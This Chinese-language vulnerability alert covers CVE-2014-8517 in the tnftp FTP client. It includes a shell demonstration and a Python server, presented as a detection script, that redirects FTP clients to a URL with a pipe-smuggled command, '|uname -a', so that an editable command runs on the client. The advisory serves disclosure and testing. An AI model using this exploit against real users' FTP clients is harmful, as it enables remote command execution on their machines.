漏洞预警:FTP曝严重远程执行漏洞,影响多个版本Linux(附检测脚本)

简介:

10月28日,一份公开的邮件中曝出FTP远程执行命令漏洞,漏洞影响到的Linux系统包括:Fedora, Debian, NetBSD, FreeBSD, OpenBSD, 甚至影响到了苹果的OS X操作系统的最新版本Yosemite 10.10。

NetBSD的一位开发人员(Jared McNeill)证实了这个漏洞可已通过tnftp让WEB服务器远程执行恶意命令,并且此漏洞已被编号为CVE-2014-8517 :

a20$ pwd
    /var/www/cgi-bin

a20$ ls -l
    total 4      -rwxr-xr-x  1 root  wheel  159 Oct 14 02:02 redirect
    -rwxr-xr-x  1 root  wheel  178 Oct 14 01:54 |uname -a

a20$ cat redirect
    #!/bin/sh      echo 'Status: 302 Found'      echo 'Content-Type: text/html'      echo 'Connection: keep-alive'      echo 'Location: http://192.168.2.19/cgi-bin/|uname%20-a'      echo

a20$
a20$ ftp http://localhost/cgi-bin/redirect
   Trying ::1:80 ...    ftp: Can't connect to `::1:80': Connection refused
   Trying 127.0.0.1:80 ...    Requesting http://localhost/cgi-bin/redirect
   Redirected to http://192.168.2.19/cgi-bin/|uname%20-a
   Requesting http://192.168.2.19/cgi-bin/|uname%20-a
       32      101.46 KiB/s
   32 bytes retrieved in 00:00 (78.51 KiB/s)    NetBSD a20 7.99.1 NetBSD 7.99.1 (CUBIEBOARD) #113: Sun Oct 26 12:05:36    ADT 2014    Jared () Jared-PC:/cygdrive/d/netbsd/src/sys/arch/evbarm/compile/obj/CUBIE
   BOARD evbarm

a20$

漏洞影响范围及公告

Debian, Red Hat, Gentoo, Novell (SuSE Linux), DragonFly, FreeBSD, OpenBSD, and Apple等系统开发商已经意识到了此漏洞的危害,其中Debian, Red Hat, Gnetoo and Novell已经发出了漏洞公告:

screenshot

漏洞检测脚本(请勿用于非法用途)

#!/usr/bin/env python """
Sample OSX/BSD FTP client exploit. Written because ISO policies were doing
my head in. To exploit, edit the value of the cmd variable, then run the
script. To test:

    ftp http://<myserver>/foo

And you should see the command executed.

All wrongs reversed - @stevelord
""" import BaseHTTPServer import sys import socket import urllib

hostname = socket.getfqdn() # Set this to your IP if you have no FQDN port = 8000 # Set this to the port you want to run this on cmd = "uname -a; echo You probably shouldnt execute random code from the Internet. Just saying." cmd = urllib.quote(cmd) redir = "http://" + hostname + ":" + str(port) + "/cgi-bin/|" + cmd  class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(s): if cmd in s.path: s.send_response(200) s.end_headers() else: s.send_response(302) s.send_header("Location", redir) s.end_headers() if __name__ == "__main__": print "redirecting to,", redir
    server_class = BaseHTTPServer.HTTPServer httpd = server_class((hostname, port), RedirectHandler) try: httpd.serve_forever() print "Started serving." except KeyboardInterrupt: pass httpd.server_close() print "\nStopped serving."

解决方案和更详细的内容参见:

http://seclists.org/oss-sec/2014/q4/459 http://seclists.org/oss-sec/2014/q4/464

http://seclists.org/oss-sec/2014/q4/460

文章转载自 开源中国社区 [http://www.oschina.net]

相关文章
|
1月前
|
安全 Linux Shell
Linux上执行内存中的脚本和程序
【9月更文挑战第3天】在 Linux 系统中,可以通过多种方式执行内存中的脚本和程序:一是使用 `eval` 命令直接执行内存中的脚本内容;二是利用管道将脚本内容传递给 `bash` 解释器执行;三是将编译好的程序复制到 `/dev/shm` 并执行。这些方法虽便捷,但也需谨慎操作以避免安全风险。
134 6
|
1月前
|
网络协议 安全 Linux
如何配置Linux端的ftp?
如何配置Linux端的ftp?
137 64
|
8天前
|
运维 Java Linux
【运维基础知识】Linux服务器下手写启停Java程序脚本start.sh stop.sh及详细说明
### 启动Java程序脚本 `start.sh` 此脚本用于启动一个Java程序,设置JVM字符集为GBK,最大堆内存为3000M,并将程序的日志输出到`output.log`文件中,同时在后台运行。 ### 停止Java程序脚本 `stop.sh` 此脚本用于停止指定名称的服务(如`QuoteServer`),通过查找并终止该服务的Java进程,输出操作结果以确认是否成功。
14 1
|
1月前
|
人工智能 监控 Shell
常用的 55 个 Linux Shell 脚本(包括基础案例、文件操作、实用工具、图形化、sed、gawk)
这篇文章提供了55个常用的Linux Shell脚本实例,涵盖基础案例、文件操作、实用工具、图形化界面及sed、gawk的使用。
87 2
|
1月前
|
Linux 编译器 开发工具
快速在linux上配置python3.x的环境以及可能报错的解决方案(python其它版本可同样方式安装)
这篇文章介绍了在Linux系统上配置Python 3.x环境的步骤,包括安装系统依赖、下载和解压Python源码、编译安装、修改环境变量,以及常见安装错误的解决方案。
48 1
|
15天前
|
存储 Shell Linux
【Linux】shell基础,shell脚本
Shell脚本是Linux系统管理和自动化任务的重要工具,掌握其基础及进阶用法能显著提升工作效率。从简单的命令序列到复杂的逻辑控制和功能封装,Shell脚本展现了强大的灵活性和实用性。不断实践和探索,将使您更加熟练地运用Shell脚本解决各种实际问题
12 0
|
17天前
|
Java Linux Maven
用sdkman在linux上管理多个java版本
本文介绍了如何在Linux上使用SDKMAN来管理多个Java版本,包括安装SDKMAN、验证安装、列出和安装不同版本的JDK、Maven和Gradle,以及如何切换使用不同版本。
17 0
|
1月前
|
Shell Linux 开发工具
linux shell 脚本调试技巧
【9月更文挑战第3天】在Linux中调试shell脚本可采用多种技巧:使用`-x`选项显示每行命令及变量扩展情况;通过`read`或`trap`设置断点;利用`echo`检查变量值,`set`显示所有变量;检查退出状态码 `$?` 进行错误处理;使用`bashdb`等调试工具实现更复杂调试功能。
|
1月前
|
安全 Linux API
关于Linux稳定版本的一切你想知道的内容 【ChatGPT】
关于Linux稳定版本的一切你想知道的内容 【ChatGPT】
|
1月前
|
Linux 编译器 C语言
Linux内核对GCC版本的检测
Linux内核对GCC版本的检测